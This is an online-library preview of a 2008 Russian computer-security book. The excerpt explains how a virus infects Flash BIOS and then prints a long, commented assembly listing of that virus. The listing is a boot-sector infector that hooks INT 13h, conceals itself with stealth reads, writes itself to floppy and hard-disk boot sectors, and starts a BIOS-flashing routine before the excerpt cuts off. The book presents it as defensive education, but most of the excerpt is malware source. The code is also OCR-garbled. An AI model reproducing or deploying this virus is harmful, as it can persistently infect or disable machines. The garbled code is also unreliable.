Олег Бойцев - Защити свой компьютер на 100% от вирусов и хакеров

Тут можно читать онлайн Олег Бойцев - Защити свой компьютер на 100% от вирусов и хакеров - бесплатно ознакомительный отрывок. Жанр: Прочая околокомпьтерная литература, издательство 046ebc0b-b024-102a-94d5-07de47c81719, год 2008. Здесь Вы можете читать ознакомительный отрывок из книги онлайн без регистрации и SMS на сайте лучшей интернет библиотеки ЛибКинг или прочесть краткое содержание (суть), предисловие и аннотацию. Так же сможете купить и скачать торрент в электронном формате fb2, найти и слушать аудиокнигу на русском языке или узнать сколько частей в серии и всего страниц в публикации. Читателям доступно смотреть обложку, картинки, описание и отзывы (комментарии) о произведении.

Олег Бойцев - Защити свой компьютер на 100% от вирусов и хакеров краткое содержание

Защити свой компьютер на 100% от вирусов и хакеров - описание и краткое содержание, автор Олег Бойцев, читайте бесплатно онлайн на сайте электронной библиотеки LibKing.Ru

Подумайте, сколько ценной информации хранится на вашем компьютере – начиная с достаточно безобидных сведений о вас и вашей работе и заканчивая действительно конфиденциальными данными (пароли к кредитным картам, финансовые документы, личная переписка и т. д.). А теперь представьте, что ваш компьютер взломали и вся зга информация стала доступна посторонним людям. Или злобный вирус уничтожил половину содержимого жесткого диска, и вы потеряли готовый проект, который необходимо сдавать через два дня. Представили? Понравилось?

Самое страшное, что эти случаи – вовсе не фантастика. Достаточно пару раз пренебречь несложными правилами компьютерной безопасности – и злоумышленнику не составит никакого труда получить доступ ко всей вашей информации, а вирусы будут плодиться на вашем компьютере один за другим. Согласитесь, вам есть что терять – и есть что защищать.

Именно для тех, кто желает защитить свой компьютер и себя от неприятных сюрпризов, и написана эта книга. С ее помощью вы научитесь защищаться от вирусов и прочих вредоносных программ, распознавать и отражать хакерские атаки, уловки интернет-мошенников, контролировать доступ к тем ресурсам, которые не должен посещать ваш ребенок.

Защити свой компьютер на 100% от вирусов и хакеров - читать онлайн бесплатно ознакомительный отрывок

Защити свой компьютер на 100% от вирусов и хакеров - читать книгу онлайн бесплатно (ознакомительный отрывок), автор Олег Бойцев
Тёмная тема
Сбросить

Интервал:

Закладка:

Сделать

ПРИМЕЧАНИЕ

Прерывание (от англ. interrupt) – сигнал, сообщающий процессору о совершении какого-либо события. Прерывание подразумевает приостановку выполнения текущей последовательности команд и передачу управления обработчику прерывания.

Почему все так сложно и как с этим связан антивирусный монитор?

Все дело в том, что BIOS (AMI, например) обладает некоторыми особенностями работы в микросхемах Flash-памяти, которые базируются на использовании функции EOh прерывания INT 16h. Внесенный в данную область памяти вирус впоследствии запрещает повторно использовать указанную функцию. Как следствие, это запретит антивирусным программам воспользоваться ею в процессе удаления вируса из BIOS компьютера. Как же это все работает?

Алгоритм работы вируса, "живущего" в BIOS, выглядит следующим образом.

1. Вирус проверяет систему на наличие Flash BIOS.

2. Далее идет проверка на зараженность Flash BIOS (если BIOS чист – то "ОК", иначе – осуществить выход).

3. Считывается вектор INT 19h из таблицы (прерывание загрузки).

4. Читает первые пять байт от точки входа INT 19h.

5. Проверяет свободное место в микросхеме BIOS (поиск области нулей).

6. Устанавливает память Flash BIOS в режим записи (нормальное ее состояние в режиме чтения).

7. Запись вируса в найденную свободную область.

8. Запись перехода на вирус в точку входа INT 19h.

9. Возврат Flash BIOS в режим "только чтение".

Вот, собственно, и сам код с комментариями (листинг 5.7):

Листинг 5.7. Код вируса, поражающего BIOS ;

Вирусный код, заражающий Flash BIOS.

; Наиболее опасен тем, что при заражении нельзя будет загрузиться ;

даже с "чистой" дискеты.

org 0

; При входе в boot-сектор 01=загрузочный диск

mov si, 7C00h ;

Устанавливаем 0000h в регистрах DS и ES

хог ах, ах

mov es, ax

mov ds, ax

; Устанавливаем значение стека 0000h:7C00h

cli

mov ss, ax

mov sp, si

sti

; Уменьшаем на 1Кбайт память (0040h:0013h)

dec word ptr [0413h] ;

Получаем размер памяти (при возврате в АХ)

int 12h

mov cl, 6

shl ax, cl

; Устанавливаем новый сегмент вируса

mov es, ax

; Переносим вирусный сектор в вершину памяти

xor di, di

mov cx, 200h

cld

rep movsb

; Сохраняем вектор прерывания INT 13h

mov ax, word ptr [13h*4]

mov word ptr es: [off set i13], ax

mov ax, word ptr [13h*4+2]

mov word ptr es: [offset i13+2], ax

; Устанавливаем новый вектор прерывания INT 13h

mov word ptr [13h*4], offset Handler

mov word ptr [13h*4+2], es

; Переходим в точку ES:Restart (в копии вируса,

; находящейся в вершине памяти)

already_resident:

push es

mov ax, offset Restart

push ax

retf

; Ниже программа работает уже в вершине памяти

Restart:

; Загружаем оригинальный boot-сектор из конца

; root directory и передаем ему управление

xor ах, ах

call int13h

; Готовим регистры для загрузки оригинального boot-сектора

хог ах, ах

mov es, ax

; Сегмент для загрузки

mov bx, 7C00h

; Смещение для загрузки

mov cx, 0002h

; Дорожка 0, сектор 2

xor dh, dh

; Головка 0

mov ax, 0201h ;

Функция 2, количество секторов 1

; Проверяем загрузочный диск. 80h и выше – это адрес жесткого диска,

; иначе – дискета. Копию оригинального boot-сектора храним :

; на жестком диске – дорожка 0, головка 0, сектор 2;

; на дискете – дорожка 0, головка 1, сектор 14

cmp dl, 80h

jae MBR_Loader

; Грузимся с дискеты: изменим сектор и головку

mov с1, 14 ; Сектор 14

mov dh, 1 ; Головка 1

; 3агрузим оригинальный boot-сектор по адресу 0000h:7C00h

MBR_Loader:

call int13h

; Сохраняем в стеке номер диска, с которого грузимся

push dx

; Проверяем, заражен ли Flash BIOS

cmp byte ptr cs:flash_done, 1

je Flash_resident

; Инфицируем Flash BIOS

call flash_BIOS

; Восстанавливаем из стека DX (номер загрузочного диска)

Flash_resident:

pop dx

; 3апускаем оригинальный boot-сектор (JMP FAR 0000h:7C00h)

db 0EAh

dw 7C00h

dw 0

;Скрываем присутствие вируса методом чтения оригинального boot-сектора

Stealth:

; Останавливаем значения сектора, где хранится копия оригинального

; boot-сектора

mov cx, 02h

mov ax, 0201h

; Проверяем, откуда считан boot-сектор (дискета или жесткий диск),

; так как копии хранятся в разных местах

cmp dl, 80h

jae hd_stealth

mov cl, 14

mov dh, 1 hd_stealth:

; Читаем копию оригинального boot-сектора

call int13h

; Выходим из обработчика прерывания

jmp pop_exit

; Проверяем наличие резидентного вируса

restest:

xchgah, al

iret

; Обработчик прерывания INT 13h

Handler:

cmp ax, 0ABBAh

je restest

; Перехватываем только функцию 02h (чтение сектора): проверяем

; номер функции. Если не 2, запускаем оригинальный обработчик

cmp ah, 2

jne jend

; Проверяем номера дорожки и сектора, интересуясь только теми

; секторами, в которых может оказаться вирус :

; дорожка 0, головка 0, сектор 1

cmp cx, 1

jne jend

; Проверим номер головки. Если не 0, то запустим

; оригинальный обработчик

cmp dh, 0

jne jend

tryinfect:

; Считаем сектор в буфер (для дальнейшей обработки).

; Для этого вызовем оригинальный INT 13h

call int13h

jc jend

; Сохраним регистры и флаги (обработчик не должен изменить их)

pushf

push ax

push bx

push cx

push dx

push si

push di

push es

push ds

; Проверяем, заражен ли данный диск вирусом: читаем сигнатуру. ;

Если диск заражен, скрываем присутствие вируса

cmp word ptr es:[bx+offset marker], "LV"

je stealth

; Если диск не заражен, то заражаем

cmp dl, 80h

jb infect_floppy ; Установим номера дорожки, головки и сектора для жесткого

; диска для сохранения оригинального boot-сектора

mov cx, 2

xor dh, dh

jmp write_virus

infect_Floppy:

; Установим номера дорожки, головки и сектора для дискеты

; для сохранения оригинального boot-сектора

mov сх, 14

mov dh, 1

Write_Virus:

; Записываем оригинальный boot-сектор

mov ax, 0301h

call int-lSh

jc pop_exit

; Установим сегментный регистр ES на сегмент с вирусом

push cs

pop es

; Сбросим флаг зараженности Flash BIOS

mov byte ptr cs:flash_done, 0

; 3апишем тело вируса в boot-сектор

xor bx, bx

mov ax, 0301h

mov cx, 0001h

xor dh, dh

call int13h

; Восстановим регистры и флаги (как раз те их значения, которые

; свидетельствуют о том, что boot-сектор только что считали)

Pop_Exit:

pop ds

pop es

pop di

pop si

pop dx

pop cx

pop bx

pop ax

popf

; Выходим из обработчика в вызывающую программу

retf2

; 3апуск оригинального обработчика

jend:

DD 0EAh ; Код команды JMP FAR ;

Оригинальный вектор INT13h

i13 DD 0

; Вызов прерывания INT 13h

int13h proc near

pushf

call dword ptr cs:[i13]

ret

int13h endp

; Первые два байта слова используются как сигнатура

Marker db "VLAD"

; Эта подпрограмма заражает Flash BIOS

Flash_BIOS Proc Near

; Проверим наличие Flash BIOS

mov ax, 0e000h

int 16h

jc no_flash_bios

cmp al, 0FAh

jne no_flash_bios

; Сначала найдем хорошее место для хранения вируса.

; Просканируем память F000h-FFFFh, где обычно находится BIOS,

; на наличие области 1Кбайт нулей. Хватит даже 512 байт памяти,

; но выделить нужно с запасом

infect_Flash:

; Остановим начальный сегмент для поиска

mov ax, 0F000h

mov ds, ax

; Проверим сегмент

New_segment:

; Остановим стартовое смещение

xor si, si

; Остановим счетчик найденных байт

Читать дальше
Тёмная тема
Сбросить

Интервал:

Закладка:

Сделать


Олег Бойцев читать все книги автора по порядку

Олег Бойцев - все книги автора в одном месте читать по порядку полные версии на сайте онлайн библиотеки LibKing.




Защити свой компьютер на 100% от вирусов и хакеров отзывы


Отзывы читателей о книге Защити свой компьютер на 100% от вирусов и хакеров, автор: Олег Бойцев. Читайте комментарии и мнения людей о произведении.


Понравилась книга? Поделитесь впечатлениями - оставьте Ваш отзыв или расскажите друзьям

Напишите свой комментарий
x